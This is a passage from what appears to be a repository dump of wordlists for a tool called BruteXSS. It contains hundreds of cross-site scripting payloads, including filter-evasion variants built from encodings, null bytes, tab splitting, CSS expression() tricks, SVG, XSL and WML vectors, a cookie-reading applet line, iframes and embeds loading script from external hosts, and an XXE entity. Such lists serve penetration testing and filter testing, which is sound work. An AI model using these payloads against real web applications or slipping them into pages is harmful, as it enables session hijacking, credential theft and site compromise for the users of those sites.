onerror=eval(alt)>\r\n<img src=x onerror=alert(1)//>\r\n\"><img src=x onerror=alert(1)//>\r\n'><img src=x onerror=alert(1)//>\r\n<svg><g/onload=alert(1)//\r\n\"><svg><g/onload=alert(1)//\r\n'><svg><g/onload=alert(1)//\r\n<iframe/\\/src=jAva&Tab;script:alert(1)>\r\n\"><iframe/\\/src=jAva&Tab;script:alert(1)>\r\n'><iframe/\\/src=jAva&Tab;script:alert(1)>\r\n<math><mi//xlink:href=\"data:x,<script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\">\r\nonClick=\"alert('Hello \\u0022>')\"\r\nonload=alert(1)\r\n\" onload=alert(1) \"\r\n\" onload=alert(1)\r\nonload=alert(1) \"\r\n\" onload=alert(1) id=\"a\r\nonload =alert(1) id=\"a\r\n<a href='\r\n\"><a href='\r\n'><a href='\r\njavascript:alert(1)'>a</a>\r\n<listing>&lt;img onerror=\"alert(1);//\" src=1&gt;<t t></listing>\r\n\"><listing>&lt;img onerror=\"alert(1);//\" src=1&gt;<t t></listing>\r\n'><listing>&lt;img onerror=\"alert(1);//\" src=1&gt;<t t></listing>\r\n<img src=x id/=' onerror=alert(1)//'>\r\n\"><img src=x id/=' onerror=alert(1)//'>\r\n'><img src=x id/=' onerror=alert(1)//'>\r\n<textarea>X</textarea><!--</textarea><img src=x onerror=alert(1)>-->\r\n\"><textarea>X</textarea><!--</textarea><img src=x onerror=alert(1)>-->\r\n'><textarea>X</textarea><!--</textarea><img src=x onerror=alert(1)>-->\r\n<b><noscript><!-- </noscript><img src=xx: onerror=alert(1) --></noscript>\r\n\"><b><noscript><!-- </noscript><img src=xx: onerror=alert(1) --></noscript>\r\n'><b><noscript><!-- </noscript><img src=xx: onerror=alert(1) --></noscript>\r\n<b><noscript><a alt=\"</noscript><img src=xx: onerror=alert(1)>\"></noscript>\r\n\"><b><noscript><a alt=\"</noscript><img src=xx: onerror=alert(1)>\"></noscript>\r\n'><b><noscript><a alt=\"</noscript><img src=xx: onerror=alert(1)>\"></noscript>\r\n<body><template><s><template><s><img src=x onerror=alert(1)>X</s></template></s></template>\r\n\"><body><template><s><template><s><img src=x onerror=alert(1)>X</s></template></s></template>\r\n'><body><template><s><template><s><img src=x onerror=alert(1)>X</s></template></s></template>\r\n<a href=\"\u0001java\u0003script:alert(1)\">X<a>\r\n\"><a href=\"\u0001java\u0003script:alert(1)\">X<a>\r\n'><a href=\"\u0001java\u0003script:alert(1)\">X<a>\r\n\u0001<option><style></option></select><b><img src=xx: onerror=alert(1)></style></option>\r\n<option><iframe></select><b><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n\"><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script>\r\n'><script>alert(1)</script>\r\n</ScrIpt><script>alert(1)</script></iframe></option>\r\n<b><style><style/><img src=xx: onerror=alert(1)>\r\n\"><b><style><style/><img src=xx: onerror=alert(1)>\r\n'><b><style><style/><img src=xx: onerror=alert(1)>\r\n<b><style><style////><img src=xx: onerror=alert(1)></style>\r\n\"><b><style><style////><img src=xx: onerror=alert(1)></style>\r\n'><b><style><style////><img src=xx: onerror=alert(1)></style>\r\n<image name=body><image name=adoptNode>X<image name=firstElementChild><svg onload=alert(1)>\r\n\"><image name=body><image name=adoptNode>X<image name=firstElementChild><svg onload=alert(1)>\r\n'><image name=body><image name=adoptNode>X<image name=firstElementChild><svg onload=alert(1)>\r\n<image name=activeElement><svg onload=alert(1)>\r\n\"><image name=activeElement><svg onload=alert(1)>\r\n'><image name=activeElement><svg onload=alert(1)>\r\n<image name=body><img src=x><svg onload=alert(1); autofocus>, <keygen onfocus=alert(1); autofocus>\r\n\"><image name=body><img src=x><svg onload=alert(1); autofocus>, <keygen onfocus=alert(1); autofocus>\r\n'><image name=body><img src=x><svg onload=alert(1); autofocus>, <keygen onfocus=alert(1); autofocus>\r\n<div onmouseout=\"javascript:alert(/X/)\" x=yscript: n>X\r\n\"><div onmouseout=\"javascript:alert(/X/)\" x=yscript: n>X\r\n'><div onmouseout=\"javascript:alert(/X/)\" x=yscript: n>X\r\n<div wow=removeme onmouseover=alert(1)>text\r\n\"><div wow=removeme onmouseover=alert(1)>text\r\n'><div wow=removeme onmouseover=alert(1)>text\r\n<input x=javascript: autofocus onfocus=alert(1)><svg id=1 onload=alert(1)></svg>\r\n\"><input x=javascript: autofocus onfocus=alert(1)><svg id=1 onload=alert(1)></svg>\r\n'><input x=javascript: autofocus onfocus=alert(1)><svg id=1 onload=alert(1)></svg>\r\n<form action=\"javascript:alert(1)\"><button>X</button></form>\r\n\"><form action=\"javascript:alert(1)\"><button>X</button></form>\r\n'><form action=\"javascript:alert(1)\"><button>X</button></form>\r\n0?<script>Worker(\"#\").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='))\r\n<input onfocus=alert(1) autofocus>\r\n\"><input onfocus=alert(1) autofocus>\r\n'><input onfocus=alert(1) autofocus>\r\n<svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg\r\n\"><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg\r\n'><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg>\r\n\"><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg>\r\n'><svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg>\r\n<x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>\r\n\"><x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>\r\n'><x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>\r\n<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>\r\n\"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>\r\n'><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>\r\n<script>({0:#0=alert/#0#/#0#(0)})</script>\r\n</ScrIpt><script>({0:#0=alert/#0#/#0#(0)})</script>\r\n\"><script>({0:#0=alert/#0#/#0#(0)})</script>\r\n</ScrIpt><script>({0:#0=alert/#0#/#0#(0)})</script>\r\n'><script>({0:#0=alert/#0#/#0#(0)})</script>\r\n</ScrIpt><script>({0:#0=alert/#0#/#0#(0)})</script>\r\nX<x style=`behavior:url(#default#time2)` onbegin=`alert(1)` >\r\n<meta charset=\"x-mac-farsi\">?script ?alert(1)//?/script ?\r\n\"><meta charset=\"x-mac-farsi\">?script ?alert(1)//?/script ?\r\n'><meta charset=\"x-mac-farsi\">?script ?alert(1)//?/script ?\r\n<input onblur=focus() autofocus><input>\r\n\"><input onblur=focus() autofocus><input>\r\n'><input onblur=focus() autofocus><input>\r\n<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(1)>X</button>\r\n\"><form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(1)>X</button>\r\n'><form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(1)>X</button>\r\n1<set/xmlns=`urn:schemas-microsoft-com:time` style=`behAvior:url(#default#time2)` attributename=`innerhtml` to=`<img/src=\"x\"onerror=alert(1)>`>\r\n1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)  attributename=innerhtml values=<img/src=\".\"onerror=alert(1)>>\r\n<link rel=stylesheet href=data:,*%7bx:expression(alert(1))%7d\r\n\"><link rel=stylesheet href=data:,*%7bx:expression(alert(1))%7d\r\n'><link rel=stylesheet href=data:,*%7bx:expression(alert(1))%7d\r\n<style>@import \"data:,*%7bx:expression(alert(1))%7D\";</style>\r\n\"><style>@import \"data:,*%7bx:expression(alert(1))%7D\";</style>\r\n'><style>@import \"data:,*%7bx:expression(alert(1))%7D\";</style>\r\n<table background=\"javascript:alert(32)\"></table>\r\n\"><table background=\"javascript:alert(32)\"></table>\r\n'><table background=\"javascript:alert(32)\"></table>\r\n<a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(1)\">XXX</a>\r\n\"><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(1)\">XXX</a>\r\n'><a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(1)\">XXX</a>\r\n<![><img src=\"]><img src=x onerror=alert(1)//\">\r\n\"><![><img src=\"]><img src=x onerror=alert(1)//\">\r\n'><![><img src=\"]><img src=x onerror=alert(1)//\">\r\n<svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(1)//\"></svg>\r\n\"><svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(1)//\"></svg>\r\n'><svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(1)//\"></svg>\r\n<<style><img src=\"</style><img src=x onerror=alert(1)//\">\r\n\"><<style><img src=\"</style><img src=x onerror=alert(1)//\">\r\n'><<style><img src=\"</style><img src=x onerror=alert(1)//\">\r\n\"><style><img src=\"</style><img src=x onerror=alert(1)//\">\r\n'><style><img src=\"</style><img src=x onerror=alert(1)//\">\r\n<<li style=list-style:url() onerror=alert(1)></li>\r\n\"><<li style=list-style:url() onerror=alert(1)></li>\r\n'><<li style=list-style:url() onerror=alert(1)></li>\r\n\"><li style=list-style:url() onerror=alert(1)></li>\r\n'><li style=list-style:url() onerror=alert(1)></li>\r\n<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n\"><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n'><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>\r\n<video onerror=\"alert(1)\"><source></source></video></div>\r\n\"><video onerror=\"alert(1)\"><source></source></video></div>\r\n'><video onerror=\"alert(1)\"><source></source></video></div>\r\n<b <script>alert(1)//</script>0</script></b>\r\n\"><b <script>alert(1)//</script>0</script></b>\r\n'><b <script>alert(1)//</script>0</script></b></div>\r\n\"><b <script>alert(1)//</script>0</script></b></div>\r\n'><b <script>alert(1)//</script>0</script></b></div>\r\n<b><script<b></b><alert(1)</script </b></b>\r\n\"><b><script<b></b><alert(1)</script </b></b>\r\n'><b><script<b></b><alert(1)</script </b></b></div>\r\n\"><b><script<b></b><alert(1)</script </b></b></div>\r\n'><b><script<b></b><alert(1)</script </b></b></div>\r\n<div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>\r\n\"><div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script>\r\n'><div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script></div>\r\n\"><div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script></div>\r\n'><div id=\"div1\"><input value=\"``onmouseover=alert(1)\"></div> <div id=\"div2\"></div><script>document.getElementById(\"div2\").innerHTML = document.getElementById(\"div1\").innerHTML;</script></div>\r\n<x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n\"><x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n'><x '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n<! '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n\"><! '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n'><! '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n<? '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n\"><? '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n'><? '=\"foo\"><x foo='><img src=x onerror=alert(1)//'>\r\n<div id=\"1\"><embed src=\"javascript:alert(1)\">\r\n\"><embed src=\"javascript:alert(1)\">\r\n'><embed src=\"javascript:alert(1)\"></embed>\r\n<script src=\"javascript:alert(1)\">\r\n\"><script src=\"javascript:alert(1)\">\r\n'><script src=\"javascript:alert(1)\"></script>\r\n\"><script src=\"javascript:alert(1)\"></script>\r\n'><script src=\"javascript:alert(1)\"></script>\r\n<!DOCTYPE x[<!ENTITY x SYSTEM \"http://127.0.0.1:3555/xss_serve_payloads/X.xxe\">]><y>&x;</y>\r\n\"><!DOCTYPE x[<!ENTITY x SYSTEM \"http://127.0.0.1:3555/xss_serve_payloads/X.xxe\">]><y>&x;</y>\r\n'><!DOCTYPE x[<!ENTITY x SYSTEM \"http://127.0.0.1:3555/xss_serve_payloads/X.xxe\">]><y>&x;</y>\r\n<?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\r\n\"><?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\r\n'><?xml-stylesheet type=\"text/xsl\" href=\"data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(1)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E\"?>\r\nonerror CDATA \"alert(1)\"\r\nonload CDATA \"alert(1)\">\r\n<html:style /><x xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\">XXX</x>\r\n\"><html:style /><x xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\">XXX</x>\r\n'><html:style /><x xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\">XXX</x>\r\n<card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"javascript:alert(1)\"/></onevent><timer value=\"1\"/></card>\r\n\"><card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"javascript:alert(1)\"/></onevent><timer value=\"1\"/></card>\r\n'><card xmlns=\"http://www.wapforum.org/2001/wml\"><onevent type=\"ontimer\"><go href=\"javascript:alert(1)\"/></onevent><timer value=\"1\"/></card>\r\n<div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n\"><div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n'><div style=width:1px;filter:glow onfilterchange=alert(1)>x\r\n<// style=x:expression\u00028alert(1)\u00029>\r\n\"><// style=x:expression\u00028alert(1)\u00029>\r\n'><// style=x:expression\u00028alert(1)\u00029>\r\n<event-source src=\"index.php\" onload=\"alert(1)\">\r\n\"><event-source src=\"index.php\" onload=\"alert(1)\">\r\n'><event-source src=\"index.php\" onload=\"alert(1)\">\r\n<a href=\"javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>\r\n\"><a href=\"javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>\r\n'><a href=\"javascript:alert(1)\"><event-source src=\"data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A\" /></a>\r\n<?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(alert(1))\"/>\r\n\"><?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(alert(1))\"/>\r\n'><?xml-stylesheet type=\"text/css\"?><root style=\"x:expression(alert(1))\"/>\r\n<object allowscriptaccess=\"always\" data=\"test.swf\"></object>\r\n\"><object allowscriptaccess=\"always\" data=\"test.swf\"></object>\r\n'><object allowscriptaccess=\"always\" data=\"test.swf\"></object>\r\n<style>*{x:??????????(alert(1))}</style>\r\n\"><style>*{x:??????????(alert(1))}</style>\r\n'><style>*{x:??????????(alert(1))}</style>\r\n<x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"onLoad\" xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\"/>\r\n\"><x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"onLoad\" xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\"/>\r\n'><x xmlns:xlink=\"http://www.w3.org/1999/xlink\" xlink:actuate=\"onLoad\" xlink:href=\"javascript:alert(1)\" xlink:type=\"simple\"/>\r\n<?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(1));%7d\"?>\r\n\"><?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(1));%7d\"?>\r\n'><?xml-stylesheet type=\"text/css\" href=\"data:,*%7bx:expression(write(1));%7d\"?>\r\n<x:template xmlns:x=\"http://www.wapforum.org/2001/wml\"  x:ontimer=\"$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)\"><x:timer value=\"1\"/></x:template>\r\n\"><x:template xmlns:x=\"http://www.wapforum.org/2001/wml\"  x:ontimer=\"$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)\"><x:timer value=\"1\"/></x:template>\r\n'><x:template xmlns:x=\"http://www.wapforum.org/2001/wml\"  x:ontimer=\"$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(1)\"><x:timer value=\"1\"/></x:template>\r\n<x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"javascript:alert(1)//#x\"/>\r\n\"><x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"javascript:alert(1)//#x\"/>\r\n'><x xmlns:ev=\"http://www.w3.org/2001/xml-events\" ev:event=\"load\" ev:handler=\"javascript:alert(1)//#x\"/>\r\n<body oninput=alert(1)><input autofocus>\r\n\"><body oninput=alert(1)><input autofocus>\r\n'><body oninput=alert(1)><input autofocus><div id=\"1\"><svg xmlns=\"http://www.w3.org/2000/svg\">\r\n\"><body oninput=alert(1)><input autofocus><div id=\"1\"><svg xmlns=\"http://www.w3.org/2000/svg\">\r\n'><body oninput=alert(1)><input autofocus><div id=\"1\"><svg xmlns=\"http://www.w3.org/2000/svg\">"
  },
  {
    "path": "BruteXSS/wordlist-medium.txt",
    "content": "﻿</ScrIpt><script>alert(1)</script>\n<scr<script>ipt>alert(\"XSS\")</scr<script>ipt>\n<div onclick=\"alert('xss')\">\n<div style=\"color: expression(alert('XSS'))\">\n<div style=\"color: '<'; color: expression(alert('XSS'))\">\n%c1;alert(/xss/);//\n\"onclick=alert(1)//\n\"><!--   --><script>alert(xss);<script>\n<script>alert(navigator.userAgent)<script>\n<script>alert(88199)</script>\n<script>confirm(88199)</script>\n<script>prompt(88199)</script>\n<script>\\u0061\\u006C\\u0065\\u0072\\u0074(88199)</script>\n<script>+alert(88199)</script>\n<script>alert(/88199/)</script>\n<script src=data:text/javascript,alert(88199)></script>\n<script src=&#100&#97&#116&#97:text/javascript,alert(88199)></script>\n<script>alert(String.fromCharCode(49,49))</script>\n<script>alert(/88199/.source)</script>\n<script>setTimeout(alert(88199),0)</script>\n<script>document['write'](88199);</script>\n<anytag onmouseover=alert(15)>\n<anytag onclick=alert(16)>\n<a onmouseover=alert(17)>\n<a onclick=alert(18)>\n<a href=javascript:alert(19)>\n<button/onclick=alert(20)>\n<form><button\nformaction=javascript&colon;alert(21)>\n<form/action=javascript:alert(22)><input/type=submit>\n<form onsubmit=alert(23)><button>\n<form onsubmit=alert(23)><button>\n<img src=x onerror=alert(24)> 29\n<body/onload=alert(25)><body>\nonscroll=alert(26)><br><br><br><br><br><br><br>\n<br><br><br><br><br><br><br><br><br><br><br>\n<br><br><br><br><br><br><br><br><br><br><br>\n<br><br><br><br><br><br><br><br><br><br><br>\n<input autofocus>\n<iframe src=\"http://0x.lv/xss.swf\"></iframe>\n<iframe/onload=alert(document.domain)></iframe>\n<IFRAME SRC=\"javascript:alert(29);\"></IFRAME>\n<meta http-equiv=\"refresh\" content=\"0;\nurl=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E\">\n<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>\n<object data=\"javascript:alert(document.domain)\">\n<marquee onstart=alert(30)></marquee>\n<isindex type=image src=1 onerror=alert(31)>\n<isindex action=javascript:alert(32) type=image>\n<input onfocus=alert(33) autofocus>\n<input onblur=alert(34) autofocus><input autofocus>\n<script>alert(1);</script>\n<script>prompt(1);</script>\n<script>confirm      (1);</script>\n<a  href=“http://www.google.com\">Clickme</a>\n<a href=\"rhainfosec.com\" onclimbatree=alert(1)>ClickHere</a>\n<a href=”javascript:alert(1)”>Clickme</a>\n<body/onhashchange=alert(1)><a href=#>clickit\n<img src=x      onerror=prompt(1);>\n<img/src=aaa.jpg      onerror=prompt(1);\n<video src=x      onerror=prompt(1);>\n<audio src=x      onerror=prompt(1);>\n<iframesrc=\"javascript:alert(2)\">\n<iframe/src=\"data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\">\n<embed/src=//goo.gl/nlX0P>\n<form action=\"Javascript:alert(1)\"><input type=submit>\n<isindex action=\"javascript:alert(1)\" type=image>\n<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>\n<isindex action=data:text/html, type=image\n<span class=\"pln\">    </span><span class=\"tag\">&lt;formaction</span><span class=\"pun\">=</span><span class=\"atv\">&amp;#039;data:text&amp;sol;html,&amp;lt;script&amp;gt;alert(1)&amp;lt/script&amp;gt&amp;#039;</span><span class=\"tag\">&gt;&lt;button&gt;</span><span class=\"pln\">CLICK</span>\n<isindexformaction=\"javascript:alert(1)\"      type=image>\n<input type=\"image\" formaction=JaVaScript:alert(0)>\n<form><button formaction=javascript&colon;alert(1)>CLICKME\n<table background=javascript:alert(1)></table> // Works on Opera 10.5      and IE6\n<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5\n<object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=\">\n<object/data=//goo.gl/nlX0P?\n<applet code=\"javascript:confirm(document.cookie);\"> // Firefox Only\n<embed  code=\"http://businessinfo.co.uk/labs/xss/xss.swf\"      allowscriptaccess=always>\n<svg/onload=prompt(1);>\n<marquee/onstart=confirm(2)>/\n<body onload=prompt(1);>\n<select autofocus onfocus=alert(1)>\n<textarea autofocus onfocus=alert(1)>\n<keygen autofocus onfocus=alert(1)>\n<video><source onerror=\"javascript:alert(1)\">\n<q/oncut=open()>\n<q/oncut=alert(1)>\n<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>\n<body  language=vbsonload=alert-1 // Works with IE8\n<command onmouseover=\"\\x6A\\x61\\x76\\x61\\x53\\x43\\x52\\x49\\x50\\x54\\x26\\x63\\x6F\\x6C\\x6F\\x6E\\x3B\\x63\\x6F\\x6E\\x66\\x6    9\\x72\\x6D\\x26\\x6C\\x70\\x61\\x72\\x3B\\x31\\x26\\x72\\x70\\x61\\x72\\x3B\">Save</command>\n<a onmouseover=\"javascript:window.onerror=alert;throw 1>\n<img src=x onerror=\"javascript:window.onerror=alert;throw 1\">\n<body/onload=javascript:window.onerror=eval;throw&#039;=alert\\x281\\x29&#039;;\n<img style=\"xss:expression(alert(0))\"> // Works upto IE7.\n<div style=\"color:rgb(&#039;&#039;x:expression(alert(1))\"></div>\n<style>#test{x:expression(alert(/XSS/))}</style>\n<a onmouseover=location=’javascript:alert(1)>click\n<body onfocus=\"location=&#039;javascrpt:alert(1) >123\n<meta http-equiv=\"refresh\"      content=\"0;url=//goo.gl/nlX0P\">\n<meta http-equiv=\"refresh\"      content=\"0;javascript&colon;alert(1)\"/>\n<svg xmlns=\"http://www.w3.org/2000/svg\"><g      onload=\"javascript:\\u0061lert(1);\"></g></svg>\n<svg xmlns:xlink=\" r=100 /><animate attributeName=\"xlink:href\"      values=\";javascript:alert(1)\" begin=\"0s\"      dur=\"0.1s\" fill=\"freeze\"/>\n<svg><![CDATA[><imagexlink:href=\"]]><img/src=xx:xonerror=alert(2)//\"</svg> \n<meta content=\"&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert(1)\" http-equiv=\"refresh\"/>\n<math><a xlink:href=\"//jsfiddle.net/t846h/\">click\n<svg><script>alert&#40/1/&#41</script>\n<svg><script>alert&#40      1&#41 \n&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;\n<a  href=\"j&#x26;#x26#x41;vascript:alert%252831337%2529\">Hello</a>\n<input value=\"XSStest\" type=text>\n\"><imgsrc=x  onerror=prompt(0);>\n\" autofocusonfocus=alert(1)\n\" onmouseover=\"prompt(0) x=\"\n\" onfocusin=alert(1)     autofocus x=\"\n\" onfocusout=alert(1)     autofocus x=\"\n\" onblur=alert(1) autofocus     a=\"\n\";alert(1) \n\";document.body.addEventListener(\"DOMActivate\",alert(1))\n\";document.body.addEventListener(\"DOMActivate\",prompt(1))\n\";document.body.addEventListener(\"DOMActivate\",confirm(1))\n<a href=”Userinput”>Click</a>\n<a href=”javascript:alert(1)//”>Click</a>\njavascript&#058;alert(1)\njavaSCRIPT&colon;alert(1)\nJaVaScRipT:alert(1)\njavas&Tab;cript:\\u0061lert(1);\njavascript:\\u0061lert&#x28;1&#x29\navascript&#x3A;alert&lpar;document&period;cookie&rpar;\nvbscript:alert(1);\nvbscript&#058;alert(1);\nvbscr&Tab;ipt:alert(1)\"\nencodeURIComponent(&#039;userinput&#039;)\n-alert(1)-\n-prompt(1)-\n-confirm(1)-\nencodeURIComponent(&#039;&#039;-alert(1)-&#039;&#039;)\nencodeURIComponent(&#039;&#039;-prompt(1)-&#039;&#039;)\n<svg><script>varmyvar=”YourInput”;</script></svg>\nwww.site.com/test.php?var=text”;alert(1)//\n<svg><script>varmyvar=\"text&quot;;alert(1)//\";</script></svg>\nsrc=x onerror=prompt(0);\n???script?alert(1)?/script?\n<scri%00pt>alert(1);</scri%00pt>\n<scri\\x00pt>alert(1);</scri%00pt>\n<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>\n<script>alert(1);</script>\n<%0ascript>alert(1);</script>\n<%0bscript>alert(1);</script>\n<//     style=x:expression\\28write(1)\\29>\n<!--[if]><script>alert(1)</script     -->\n<?xml-stylesheet     type=\"text/css\"?><root     style=\"x:expression(write(1))\"/>\n<%div%20style=xss:expression(prompt(1))>\n<a/onmouseover[\\x0b]=location=&#039;\\x6A\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3A\\x61\\x6C\\x65\\x72\\x74\\x28\\x30\\x29\\x3B&#039;>rhainfosec\n<iframesrc=&#039;http://www.target.com?foo=\"xss  autofocus/AAAAA  onfocus=location=window.name//&#039;\nname=\"javascript:alert(\"XSS\")\"></iframe>\n<script> vari=location.hash; document.write(i); </script>\n<svg/onload=location=/java/.source+/script/.source+location.hash[1]+/al/.source+/ert/.source+location.hash[2]+/docu/.source+/ment.domain/.source+location.hash[3]//#:()\n<scri%00pt>confirm(0);</scri%00pt>\n<a/onmouseover[\\x0b]=location=&#039;\\x6A\\x61\\x76\\x61\\x73\\x63\\x72\\x69\\x70\\x74\\x3A\\x61\\x6C\\x65\\x72\\x74\\x28\\x30\\x29\\x3B&#039;>rhainfosec\n<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>\n<marquee/onstart=confirm(2)>\n<table background=\"javascript:alert(1)\"></table> \n\"/><marquee  onfinish=confirm(123)>a</marquee>\n<svg/onload=prompt(1);> \n<isindex action=\"javas&tab;cript:alert(1)\" type=image>\n<marquee/onstart=confirm(2)>\n\n\n\n\n"
  },
  {
    "path": "BruteXSS/wordlist-small.txt",
